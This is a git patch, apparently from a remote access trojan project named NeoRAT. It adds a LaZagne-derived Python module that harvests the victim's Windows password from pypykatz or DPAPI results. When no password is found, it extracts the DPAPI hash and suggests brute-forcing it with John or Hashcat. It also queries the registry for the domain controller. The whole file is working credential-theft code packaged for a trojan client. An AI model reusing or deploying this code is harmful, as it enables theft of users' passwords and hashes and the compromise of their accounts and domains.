From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../lazagne/softwares/windows/windows.py | 77 ++++++++++++++++++++++ 1 file changed, 77 insertions(+) create mode 100644 foreign/client_handling/lazagne/softwares/windows/windows.py (limited to 'foreign/client_handling/lazagne/softwares/windows/windows.py') diff --git a/foreign/client_handling/lazagne/softwares/windows/windows.py b/foreign/client_handling/lazagne/softwares/windows/windows.py new file mode 100644 index 0000000..7527f3c --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/windows.py @@ -0,0 +1,77 @@ +# -*- coding: utf-8 -*- +try: + import _winreg as winreg +except ImportError: + import winreg + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import OpenKey, HKEY_LOCAL_MACHINE +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.users import get_username_winapi + + +class WindowsPassword(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'windows', 'windows') + self.current_user = get_username_winapi() + + def is_in_domain(self): + """ + Return the context of the host + If a domain controller is set we are in an active directory. + """ + try: + key = OpenKey(HKEY_LOCAL_MACHINE, r'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\') + val, _ = winreg.QueryValueEx(key, 'DCName') + winreg.CloseKey(key) + return val + except Exception: + return False + + def run(self): + """ + - Check if the user password has already be found using Pypykatz + - If not, check if a password stored in another application is also used as windows password + - Windows password not found, return the DPAPI hash (not admin priv needed) to bruteforce using John or Hashcat + """ + # Check if password has already been found + if constant.pypykatz_result.get(self.current_user, None): + if 'Password' in constant.pypykatz_result[self.current_user]: + # Password already printed on the Pypykatz module - do not print it again + self.info('User has already be found: {password}'.format( + password=constant.pypykatz_result[self.current_user]['Password']) + ) + return + + # Password not already found + pwd_found = [] + if constant.user_dpapi and constant.user_dpapi.unlocked: + # Check if a password already found is a windows password + password = constant.user_dpapi.get_cleartext_password() + if password: + pwd_found.append({ + 'Login': constant.username, + 'Password': password + }) + else: + # Retrieve dpapi hash used to bruteforce (hash can be retrieved without needed admin privilege) + # Method taken from Jean-Christophe Delaunay - @Fist0urs + # https://www.synacktiv.com/ressources/univershell_2017_dpapi.pdf + + self.info( + u'Windows passwords not found.\n' + u'Try to bruteforce this hash (using john or hashcat)' + ) + if constant.user_dpapi: + context = 'local' + if self.is_in_domain(): + context = 'domain' + + h = constant.user_dpapi.get_dpapi_hash(context=context) + if h: + pwd_found.append({ + 'Dpapi_hash_{context}'.format(context=context): constant.user_dpapi.get_dpapi_hash( + context=context) + }) + + return pwd_found -- cgit v1.2.3